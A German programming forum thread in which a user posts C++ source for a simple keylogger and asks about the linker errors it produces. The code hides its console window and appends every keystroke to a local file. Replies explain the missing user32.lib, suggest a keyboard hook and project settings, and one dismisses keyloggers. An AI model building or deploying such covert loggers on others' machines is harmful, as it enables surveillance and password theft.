Tastatureingabe mitprotokollieren
-
Hey
ich würde gerne mit einem einfachen Programm meine Tastatureingaben mitschreiben. Hätte dazu folgendes Programm aus Beispielen zusammengestellt und adaptiert:
#include "stdafx.h" #include <windows.h> #include <stdio.h> using namespace System; int main() { //Console::WriteLine(L"Started ..."); AllocConsole(); ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0); FILE *Log; short key; // char szKey[MAX_PATH]; LPTSTR szKey = new TCHAR[MAX_PATH]; int scan; while(1) { Sleep(10); for(key=0;key<256;key++) { if(GetAsyncKeyState(key)==-32767) { scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0)); GetKeyNameText(scan << 16,szKey,MAX_PATH); Log=fopen ("C:\\myTest.txt","a+"); fprintf(Log,"%s--",szKey); fclose(Log); } } } delete[] szKey; return 0; }
Leider kommt es zu einem Linker-Error in der GetKeyNameText-Zeile
test.obj : error LNK2028: Nicht aufgelöstes Token (0A000021) ""extern "C" int __stdcall GetKeyNameTextW(long,wchar_t *,int)" (?GetKeyNameTextW@@$$J212YGHJPA_WH@Z)", auf das in Funktion ""int __cdecl main(void)" (?main@@$$HYAHXZ)" verwiesen wird. 1>test.obj : error LNK2028: Nicht aufgelöstes Token (0A000022) ""extern "C" struct HKL__ * __stdcall GetKeyboardLayout(unsigned long)" (?GetKeyboardLayout@@$$J14YGPAUHKL__@@K@Z)", auf das in Funktion ""int __cdecl main(void)" (?main@@$$HYAHXZ)" verwiesen wird. 1>test.obj : error LNK2028: Nicht aufgelöstes Token (0A000023) ""extern "C" unsigned int __stdcall MapVirtualKeyExW(unsigned int,unsigned int,struct HKL__ *)" (?MapVirtualKeyExW@@$$J212YGIIIPAUHKL__@@@Z)", auf das in Funktion ""int __cdecl main(void)" (?main@@$$HYAHXZ)" verwiesen wird. 1>test.obj : error LNK2028: Nicht aufgelöstes Token (0A000024) ""extern "C" short __stdcall GetAsyncKeyState(int)" (?GetAsyncKeyState@@$$J14YGFH@Z)", auf das in Funktion ""int __cdecl main(void)" (?main@@$$HYAHXZ)" verwiesen wird. 1>test.obj : error LNK2028: Nicht aufgelöstes Token (0A000027) ""extern "C" struct HWND__ * __stdcall FindWindowA(char const *,char const *)" (?FindWindowA@@$$J18YGPAUHWND__@@PBD0@Z)", auf das in Funktion ""int __cdecl main(void)" (?main@@$$HYAHXZ)" verwiesen wird. 1>test.obj : error LNK2028: Nicht aufgelöstes Token (0A000028) ""extern "C" int __stdcall ShowWindow(struct HWND__ *,int)" (?ShowWindow@@$$J18YGHPAUHWND__@@H@Z)", auf das in Funktion ""int __cdecl main(void)" (?main@@$$HYAHXZ)" verwiesen wird. 1>test.obj : error LNK2019: Verweis auf nicht aufgelöstes externes Symbol ""extern "C" int __stdcall GetKeyNameTextW(long,wchar_t *,int)" (?GetKeyNameTextW@@$$J212YGHJPA_WH@Z)" in Funktion ""int __cdecl main(void)" (?main@@$$HYAHXZ)". 1>test.obj : error LNK2019: Verweis auf nicht aufgelöstes externes Symbol ""extern "C" unsigned int __stdcall MapVirtualKeyExW(unsigned int,unsigned int,struct HKL__ *)" (?MapVirtualKeyExW@@$$J212YGIIIPAUHKL__@@@Z)" in Funktion ""int __cdecl main(void)" (?main@@$$HYAHXZ)". 1>test.obj : error LNK2019: Verweis auf nicht aufgelöstes externes Symbol ""extern "C" struct HKL__ * __stdcall GetKeyboardLayout(unsigned long)" (?GetKeyboardLayout@@$$J14YGPAUHKL__@@K@Z)" in Funktion ""int __cdecl main(void)" (?main@@$$HYAHXZ)". 1>test.obj : error LNK2019: Verweis auf nicht aufgelöstes externes Symbol ""extern "C" short __stdcall GetAsyncKeyState(int)" (?GetAsyncKeyState@@$$J14YGFH@Z)" in Funktion ""int __cdecl main(void)" (?main@@$$HYAHXZ)". 1>test.obj : error LNK2019: Verweis auf nicht aufgelöstes externes Symbol ""extern "C" int __stdcall ShowWindow(struct HWND__ *,int)" (?ShowWindow@@$$J18YGHPAUHWND__@@H@Z)" in Funktion ""int __cdecl main(void)" (?main@@$$HYAHXZ)". 1>test.obj : error LNK2019: Verweis auf nicht aufgelöstes externes Symbol ""extern "C" struct HWND__ * __stdcall FindWindowA(char const *,char const *)" (?FindWindowA@@$$J18YGPAUHWND__@@PBD0@Z)" in Funktion ""int __cdecl main(void)" (?main@@$$HYAHXZ)".
Soweit ich die Doku [1] der Funktion begreife sollte das aber so funktionieren, wo liegt mein Problem?
danke und lg
[1] http://msdn.microsoft.com/en-us/library/windows/desktop/ms646300(v=vs.85).aspx
-
Das Problem ist dass du Funktionen verwendest, aber die entsprechenden Libs nicht mitlinkst. Du musst dem Linker noch mitteilen dass er auch die "user32.lib" nutzen soll (soweit ich das sehe ist das die einzige die fehlt).
PS: Die Frage gehört eher im Winapi Forum.
Allerdings ist diese Lösung eher unschön, eine elegantere Lösung wäre z.B. ein Keyboardhook.
-
a) lass den ganzen Keylogger quatsch. mal ehrlich bringt doch nix
b) Das sind linker fehler. Lies mal auf msdn bei deinen funktionen ganz unten. was steht da noch außer die headerdatei? Genau eine dll und eine lib. Du musst die lib linken!
-
Du solltest ein Win32-Programm erzeugen und kein .NET Programm!
-
Hier muss du Multibyte auswählen und nicht Unicode